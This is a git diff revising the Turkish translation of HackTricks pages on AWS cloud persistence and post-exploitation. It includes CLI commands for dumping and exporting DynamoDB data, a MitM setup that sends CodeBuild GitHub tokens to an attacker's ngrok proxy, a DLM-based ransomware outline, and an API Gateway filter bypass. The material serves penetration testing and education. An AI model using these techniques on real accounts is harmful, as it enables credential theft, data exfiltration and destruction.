mümkündür.\ -Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğun içindeki her şeye erişim sağlamasını verir: +Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğa erişimini sağlar: ```json { "Version": "2008-10-17", @@ -32,6 +32,6 @@ Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğun içinde } ``` > [!NOTE] -> Her seferinde kuyrukta yeni bir mesaj **eklendiğinde saldırganın hesabında bir Lambda tetikleyebilirsiniz** (bunu yeniden eklemeniz gerekecek) bir şekilde. Bunun için bu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Her yeni mesaj kuyruğa konulduğunda **saldırganın hesabındaki bir Lambda'yı tetikleyebilirsiniz** (bunu yeniden koymanız gerekecek) bir şekilde. Bunun için bu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 6367bcce2..7a7ff133e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -10,12 +10,12 @@ Daha fazla bilgi için kontrol edin: ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Step Function Arka Kapı Açma +### Step Function Arka Kapı Oluşturma -Bir step function'ı arka kapı açarak, her çalıştırıldığında kötü niyetli adımlarınızı çalıştıracak şekilde herhangi bir süreklilik numarasını gerçekleştirmesini sağlayın. +Bir step function'ı arka kapı ile değiştirerek, her çalıştırıldığında kötü niyetli adımlarınızı çalıştıracak şekilde herhangi bir süreklilik numarasını gerçekleştirmesini sağlayın. -### Arka Kapı Açma Takma Adları +### Arka Kapı Oluşturma Takma Adları -Eğer AWS hesabı step function'ları çağırmak için takma adlar kullanıyorsa, bir takma adı değiştirerek step function'ın yeni arka kapılı versiyonunu kullanmak mümkün olacaktır. +Eğer AWS hesabı step function'ları çağırmak için takma adlar kullanıyorsa, step function'ın yeni arka kapılı versiyonunu kullanmak için bir takma adı değiştirmek mümkün olacaktır. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index e128ae9ea..2670b52da 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -28,7 +28,7 @@ aws sts get-session-token \ ### Rol Zinciri Oynama -[**Rol zincirleme, kabul edilen bir AWS özelliğidir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle gizli sürekliliği sağlamak için kullanılır. Bu, **bir rolü üstlenme ve ardından başka bir rolü üstlenme** yeteneğini içerir ve potansiyel olarak başlangıç rolüne **döngüsel bir şekilde** geri dönebilir. Her seferinde bir rol üstlenildiğinde, kimlik bilgileri süresinin sona erme alanı yenilenir. Sonuç olarak, iki rol karşılıklı olarak birbirini üstlenmek üzere yapılandırıldığında, bu yapılandırma kimlik bilgilerini sürekli olarak yenileme imkanı sağlar. +[**Rol zincirleme, kabul edilen bir AWS özelliğidir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle gizli sürekliliği sağlamak için kullanılır. Bu, **bir rolü üstlenme ve ardından başka bir rolü üstlenme** yeteneğini içerir, bu da başlangıç rolüne **döngüsel bir şekilde** geri dönmeyi potansiyel olarak sağlar. Her seferinde bir rol üstlenildiğinde, kimlik bilgileri süresinin sona erme alanı yenilenir. Sonuç olarak, iki rol karşılıklı olarak birbirini üstlenmek üzere yapılandırıldığında, bu yapılandırma kimlik bilgilerini sürekli olarak yenileme imkanı sağlar. Rol zincirini sürdürmek için bu [**aracı**](https://github.com/hotnops/AWSRoleJuggler/) kullanabilirsiniz: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index f51c84f1e..6d795f208 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -12,14 +12,14 @@ Daha fazla bilgi için kontrol edin: ### Açık Olmayan API'lere Erişim -[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) adresinde `com.amazonaws.us-east-1.execute-api` servisi ile bir uç nokta oluşturabilirsiniz, bu uç noktayı erişiminiz olan bir ağda (potansiyel olarak bir EC2 makinesi aracılığıyla) açığa çıkarın ve tüm bağlantılara izin veren bir güvenlik grubu atayın.\ +[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) adresinde `com.amazonaws.us-east-1.execute-api` servisi ile bir uç nokta oluşturabilirsiniz, bu uç noktanın erişiminizin olduğu bir ağda (potansiyel olarak bir EC2 makinesi aracılığıyla) açığa çıkarın ve tüm bağlantılara izin veren bir güvenlik grubu atayın.\ Daha sonra, EC2 makinesinden uç noktaya erişebilecek ve daha önce açığa çıkarılmamış olan gateway API'yi çağırabileceksiniz. ### İstek Gövdesi Geçişini Atlatma Bu teknik [**bu CTF yazısında**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) bulundu. -[AWS belgelerinde](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) `PassthroughBehavior` bölümünde belirtildiği gibi, varsayılan olarak, **`WHEN_NO_MATCH`** değeri, isteğin **Content-Type** başlığını kontrol ederken, isteği herhangi bir dönüşüm olmadan arka uca iletecektir. +[**AWS belgelerinde**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) `PassthroughBehavior` bölümünde belirtildiği gibi, varsayılan olarak, **`WHEN_NO_MATCH`** değeri, isteğin **Content-Type** başlığını kontrol ederken, isteği herhangi bir dönüşüm olmadan arka uca iletecektir. Bu nedenle, CTF'de API Gateway, `Content-Type: application/json` ile bir istek gönderildiğinde **bayrağın dışarı sızmasını engelleyen** bir entegrasyon şablonuna sahipti: ```yaml @@ -28,15 +28,15 @@ application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyCondi ``` Ancak, **`Content-type: text/json`** ile bir istek göndermek bu filtreyi engelleyecektir. -Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiğinden, gövdesinde sorgu bulunan bir POST isteği göndererek sınırsız bir dinamik DynamoDB sorgusu göndermek mümkündü ve `X-HTTP-Method-Override: GET` başlığını kullanarak: +Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiğinden, gövdeye sorguyu koyarak ve `X-HTTP-Method-Override: GET` başlığını kullanarak sınırsız bir dinamik DynamoDB sorgusu göndermek mümkündü: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` ### Kullanım Planları DoS -**Enumeration** bölümünde anahtarların **kullanım planını** nasıl **edineceğinizi** görebilirsiniz. Anahtarınız varsa ve bu anahtar **aylık X kullanım** ile **sınırlıysa**, **onu kullanabilir ve bir DoS oluşturabilirsiniz**. +**Enumeration** bölümünde anahtarların **kullanım planını nasıl elde edeceğinizi** görebilirsiniz. Eğer anahtarınız varsa ve bu anahtar **aylık X kullanım ile sınırlıysa**, **onu kullanarak bir DoS oluşturabilirsiniz**. -**API Anahtarı** sadece **`x-api-key`** adlı bir **HTTP başlığına** **eklenmelidir**. +**API Anahtarı** sadece **`x-api-key`** adlı bir **HTTP başlığı** içine **eklenmelidir**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` @@ -69,7 +69,7 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya yakalama. +**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya engelleme. > [!NOTE] > Test edilmesi gerekiyor @@ -89,7 +89,7 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potansiyel Etki**: Hassas bilgilerin sızması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim. +**Potansiyel Etki**: Hassas bilgilerin sızdırılması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim. > [!NOTE] > Test edilmesi gerekiyor @@ -106,7 +106,7 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potansiyel Etki**: API'nin güvenliğini zayıflatma, yetkisiz erişime veya hassas bilgilerin ifşasına neden olma potansiyeli. +**Potansiyel Etki**: API'nin güvenliğini zayıflatma, yetkisiz erişime veya hassas bilgilerin ifşasına neden olma. > [!NOTE] > Test edilmesi gerekiyor diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index f6faedf8b..106764738 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -17,7 +17,7 @@ Bu [**blog yazısı**](https://medium.com/@adan.alvarez/how-attackers-can-misuse #### senaryo 1: CloudFront'un bir bucket'ın bazı HTML'lerine erişim sağlamak için yapılandırıldığı MitM - **Kötü niyetli** **fonksiyonu** **oluşturun**. -- Bunu CloudFront dağıtımı ile **ilişkilendirin**. +- Bunu CloudFront dağıtımıyla **ilişkilendirin**. - **Olay türünü "Viewer Response"** olarak ayarlayın. Yanıta erişerek kullanıcıların çerezini çalabilir ve kötü niyetli bir JS enjekte edebilirsiniz. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 9173c5943..75de50ccc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -28,11 +28,11 @@ Bu nedenle, gizli yöneticiyi okuma erişiminiz varsa, bu gizli bilgileri alabil **CodeBuild projesinin**, yapılandırılmış kaynak sağlayıcısına erişimi olmalıdır; bu, **IAM rolü** veya bir github/bitbucket **token veya OAuth erişimi** ile olabilir. **CodeBuild** üzerinde **yükseltilmiş izinlere sahip bir saldırgan**, bu yapılandırılmış erişimi kötüye kullanarak yapılandırılmış deponun kodunu ve ayarlanan kimlik bilgilerine erişimi olan diğerlerini sızdırabilir.\ -Bunu yapmak için, bir saldırgan sadece **depo URL'sini, yapılandırma kimlik bilgilerine erişimi olan her depoya değiştirmesi** gerekir (aws web sitesi bunların hepsini sizin için listeleyecektir): +Bunu yapmak için, bir saldırgan sadece **depo URL'sini, yapılandırma kimlik bilgilerinin erişimi olan her depoya değiştirmesi** gerekir (aws web sitesi bunların hepsini sizin için listeleyecektir):
-Ve **her depoyu dışarıya sızdırmak için Buildspec komutlarını değiştirmek**. +Ve **her deponun dışa aktarımını sağlamak için Buildspec komutlarını değiştirmelidir**. > [!WARNING] > Ancak, bu **görev tekrarlayıcı ve zahmetlidir** ve eğer bir github tokenı **yazma izinleriyle yapılandırıldıysa**, bir saldırgan **bu izinleri (kötüye) kullanamayacaktır** çünkü tokena erişimi yoktur.\ @@ -40,7 +40,7 @@ Ve **her depoyu dışarıya sızdırmak için Buildspec komutlarını değiştir ### AWS CodeBuild'den Erişim Tokenlarını Sızdırma -CodeBuild'de Github gibi platformlara verilen erişimi sızdırabilirsiniz. Dış platformlara herhangi bir erişim verilip verilmediğini kontrol edin: +CodeBuild'de verilen erişimi Github gibi platformlara sızdırabilirsiniz. Dış platformlara herhangi bir erişim verilip verilmediğini kontrol edin: ```bash aws codebuild list-source-credentials ``` @@ -54,7 +54,7 @@ Bir saldırgan, tüm bir CodeBuild projesini silebilir, bu da proje yapılandır ```bash aws codebuild delete-project --name ``` -**Potansiyel Etki**: Silinen projeyi kullanan uygulamalar için proje yapılandırmasının kaybı ve hizmet kesintisi. +**Olası Etki**: Silinen projeyi kullanan uygulamalar için proje yapılandırmasının kaybı ve hizmet kesintisi. ### `codebuild:TagResource` , `codebuild:UntagResource` @@ -63,7 +63,7 @@ Bir saldırgan, CodeBuild kaynaklarından etiket ekleyebilir, değiştirebilir v aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` -**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması. +**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması. ### `codebuild:DeleteSourceCredentials` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index bdbc989c1..8568cc132 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -18,7 +18,7 @@ Kullanabileceğiniz Docker görüntüsü [https://github.com/carlospolop/docker- 1. **Kendi Docker MitM görüntünüzü oluşturun ve yükleyin** - Proxy IP adresinizi ayarlamak ve SSL sertifikanızı belirlemek için repo talimatlarını izleyin ve **docker görüntüsünü oluşturun**. -- **`http_proxy`**'yu ayarlamayın, böylece metadata uç noktasına yapılan istekleri kesmeyin. +- **`http_proxy`**'yi ayarlamayın, böylece metadata uç noktasına yapılan istekleri kesmeyin. - Proxy'yi ana bilgisayarınıza ayarlamak için **`ngrok`** kullanabilirsiniz, örneğin `ngrok tcp 4444`. - Docker görüntünüzü oluşturduktan sonra, **bunu halka açık bir repoya yükleyin** (Dockerhub, ECR...). 2. **Ortamı ayarlayın** @@ -27,7 +27,7 @@ Kullanabileceğiniz Docker görüntüsü [https://github.com/carlospolop/docker-
-3. **Ana bilgisayarınızdaki MitM proxy'yi ayarlayın** +3. **Ana bilgisayarınızda MitM proxy'yi ayarlayın** - **Github repo**'sunda belirtildiği gibi, şunu kullanabilirsiniz: ```bash @@ -38,7 +38,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com" 4. **Build'i çalıştırın ve kimlik bilgilerini yakalayın** -- **Authorization** başlığında token'ı görebilirsiniz: +- Token'ı **Authorization** başlığında görebilirsiniz:
@@ -73,14 +73,14 @@ aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL -**Codebuild** projelerinin, yalnızca API üzerinden değiştirilebilen, webde gizli bir ayarı olan **`insecureSsl`** vardır.\ +**Codebuild** projeleri, yalnızca API'den değiştirilebilen, webde gizli bir ayar olan **`insecureSsl`** adlı bir ayara sahiptir.\ Bunu etkinleştirmek, Codebuild'in platform tarafından sunulan **sertifikayı kontrol etmeden** depoya bağlanmasına olanak tanır. - Öncelikle mevcut yapılandırmayı şu şekilde listelemeniz gerekir: ```bash aws codebuild batch-get-projects --name ``` -- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncellememe dair bir örnek var, sonunda **`insecureSsl=True`** olduğunu fark edin (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir). +- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncellememe dair bir örnek var, sonunda **`insecureSsl=True`** olduğunu unutmayın (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir). - Ayrıca, tcp ngrok'unuza işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini de ekleyin: ```bash aws codebuild update-project --name \ @@ -128,7 +128,7 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Son olarak, **Projeyi oluştur** butonuna tıklayın, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna **gönderilecektir**: +- Son olarak, **Projeyi oluştur** butonuna tıklayın, **kimlik bilgileri** **düz metin** (base64) olarak mitm portuna **gönderilecektir**:
@@ -136,7 +136,7 @@ mitm.run() > [!TIP] > **Bu güvenlik açığı, AWS tarafından 2023 Şubat ayının 20'si haftasında bir noktada (sanırım Cuma günü) düzeltildi. Bu nedenle bir saldırgan bunu artık kötüye kullanamaz :)** -**Yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını sızdırabilir** veya izinler OAuth aracılığıyla yapılandırılmışsa, **kodu erişmek için kullanılan geçici OAuth token'ını** sızdırabilir. +**Yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını sızdırabilir** veya izinler OAuth aracılığıyla yapılandırılmışsa, **koda erişmek için kullanılan geçici OAuth token'ını** sızdırabilir. - Bir saldırgan, kendi makinesine işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini CodeBuild projesine ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`). @@ -144,8 +144,8 @@ mitm.run()
-- Ardından, github reposunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions` -- Son olarak, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaret edilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresinden temel örneği çalıştırın. +- Ardından, github repo'sunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions` +- Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaret edilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresinden temel örneği çalıştırın. ```python from mitm import MITM, protocol, middleware, crypto @@ -158,11 +158,11 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Sonra, **Projeyi oluştur** seçeneğine tıklayın veya komut satırından oluşturmayı başlatın: +- Sonra, **Projeyi oluştur** butonuna tıklayın veya komut satırından oluşturmayı başlatın: ```sh aws codebuild start-build --project-name ``` -- Sonunda, **kimlik bilgileri** **açık metin** (base64) olarak mitm portuna **gönderilecektir**: +- Sonunda, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna **gönderilecektir**:
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index b8cd1405f..bdc864e3c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -6,7 +6,7 @@ ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifreleyerek ve ardından mevcut EC2 örneklerini, EBS hacimlerini ve anlık görüntüleri silerek gerçekleştirilebilir. Bu kötü niyetli etkinliği otomatikleştirmek için, Amazon DLM kullanılabilir, anlık görüntüleri başka bir AWS hesabından bir KMS anahtarı ile şifreleyerek ve şifrelenmiş anlık görüntüleri farklı bir hesaba aktararak. Alternatif olarak, şifreleme olmadan anlık görüntüleri yönettikleri bir hesaba aktarabilir ve ardından orada şifreleyebilirler. Mevcut EBS hacimlerini veya anlık görüntüleri doğrudan şifrelemek kolay olmasa da, yeni bir hacim veya anlık görüntü oluşturarak bunu yapmak mümkündür. +Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifreleyerek ve ardından mevcut EC2 örneklerini, EBS hacimlerini ve anlık görüntüleri silerek gerçekleştirilebilir. Bu kötü niyetli etkinliği otomatikleştirmek için, başka bir AWS hesabından bir KMS anahtarı ile anlık görüntüleri şifreleyerek ve şifrelenmiş anlık görüntüleri farklı bir hesaba aktararak Amazon DLM kullanılabilir. Alternatif olarak, şifreleme olmadan anlık görüntüleri yönettikleri bir hesaba aktarabilir ve ardından orada şifreleyebilirler. Mevcut EBS hacimlerini veya anlık görüntüleri doğrudan şifrelemek kolay olmasa da, yeni bir hacim veya anlık görüntü oluşturarak bunu yapmak mümkündür. Öncelikle, örnek ID'si, hacim ID'si, şifreleme durumu, ekleme durumu ve hacim türü gibi hacimlerle ilgili bilgileri toplamak için bir komut kullanılacaktır. @@ -16,7 +16,7 @@ Bir fidye yazılımı saldırısı, mümkün olduğunca çok EBS hacmini şifrel ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` -Bir politika belgesi için şablon burada görülebilir: +Politika belgesi için bir şablon burada görülebilir: ```bash { "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index d136e0533..eec0e2e8e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Bu izinle birlikte **`transact-get-items`** yöntemini de şu şekilde kullanmak mümkündür: +Bu izinle **`transact-get-items`** yöntemini şu şekilde kullanmak da mümkündür: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,7 +75,7 @@ aws dynamodb transact-get-items \ } ] ``` -**Potansiyel Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme +**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme ### `dynamodb:Query` @@ -115,7 +115,7 @@ Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki artırma +**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme ### `dynamodb:PartiQLSelect` @@ -124,18 +124,18 @@ Bu izni kullanarak **tüm tabloyu kolayca dökebilirsiniz**. aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Bu izin, `batch-execute-statement` gibi işlemleri gerçekleştirmeye de olanak tanır: +Bu izin ayrıca `batch-execute-statement` gerçekleştirmeye de olanak tanır: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -ama bir değerle birincil anahtarı belirtmeniz gerekiyor, bu yüzden o kadar faydalı değil. +ama bir değerle birincil anahtarı belirtmeniz gerekiyor, bu yüzden çok faydalı değil. **Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Bu izin, bir saldırgana **tüm tabloyu kendi seçtiği bir S3 kovasına dışa aktarma** imkanı verecektir: +Bu izin, bir saldırgana **tüm tabloyu seçtiği bir S3 kovasına dışa aktarma** imkanı verecektir: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Not edin ki bunun çalışması için tablonun zamanında geri yükleme (point-in-time-recovery) özelliğinin etkinleştirilmiş olması gerekir, tablonun bu özelliğe sahip olup olmadığını kontrol edebilirsiniz: +Bu işlemin çalışması için tablonun point-in-time-recovery özelliğinin etkinleştirilmiş olması gerektiğini unutmayın, tablonun bu özelliğe sahip olup olmadığını kontrol edebilirsiniz: ```bash aws dynamodb describe-continuous-backups \ --table-name @@ -155,7 +155,7 @@ aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Potansiyel Etki:** Tablo içinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme +**Olası Etki:** Tablo içinde hassas bilgileri bulma yoluyla dolaylı yetki yükseltme ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` @@ -166,7 +166,7 @@ aws dynamodb restore-table-from-backup \ --target-table-name \ --region ``` -**Olası Etki:** Tablo yedeğinde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme +**Olası Etki:** Tablo yedeğinde hassas bilgilerin bulunmasıyla dolaylı yetki artırımı ### `dynamodb:PutItem` @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Olası Etki:** DynamoDB tablosunda veri ekleyip/şekillendirerek daha fazla güvenlik açığı/atlatma istismar etme +**Olası Etki:** DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla güvenlik açığı/atlatma istismar etme ### `dynamodb:UpdateItem` -Bu izin, kullanıcıların **bir öğenin mevcut niteliklerini değiştirmesine veya bir öğeye yeni nitelikler eklemesine** olanak tanır. Bu, **tüm öğeyi değiştirmez**; yalnızca belirtilen nitelikleri günceller. Eğer birincil anahtar tabloda yoksa, işlem **belirtilen birincil anahtara sahip yeni bir öğe oluşturur** ve güncelleme ifadesinde belirtilen nitelikleri ayarlar. +Bu izin, kullanıcıların **bir öğenin mevcut niteliklerini değiştirmesine veya bir öğeye yeni nitelikler eklemesine** olanak tanır. Tüm öğeyi **değiştirmez**; yalnızca belirtilen nitelikleri günceller. Eğer birincil anahtar tabloda yoksa, işlem belirtilen birincil anahtarla **yeni bir öğe oluşturur** ve güncelleme ifadesinde belirtilen nitelikleri ayarlar. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,7 +242,7 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Olası Etki:** Bir DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla zafiyet/atlatma istismar etme +**Olası Etki:** DynamoDB tablosunda veri ekleyip/değiştirerek daha fazla zafiyet/atlatma istismar etme ### `dynamodb:DeleteTable` @@ -262,7 +262,7 @@ aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Potansiyel etki**: Veri kaybı ve bir felaket kurtarma senaryosunda bir yedekten geri yükleme yapamama. +**Olası etki**: Veri kaybı ve bir felaket kurtarma senaryosunda yedekten geri yükleme yapamama. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` @@ -292,12 +292,12 @@ bashCopy codeaws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. Akıştan veri erişmek ve dışa aktarmak için shard iterator'ü kullanın: +4. Akıştan veri erişmek ve dışa aktarmak için shard iterator'ı kullanın: ```bash bashCopy codeaws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Potansiyel etki**: DynamoDB tablosundaki değişikliklerin gerçek zamanlı izlenmesi ve veri sızıntısı. +**Olası etki**: DynamoDB tablosundaki değişikliklerin gerçek zamanlı izlenmesi ve veri sızıntısı. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 34d73b27f..591097515 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -13,7 +13,7 @@ Daha fazla bilgi için kontrol edin: ### **Kötü Amaçlı VPC Aynası -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` VPC trafik 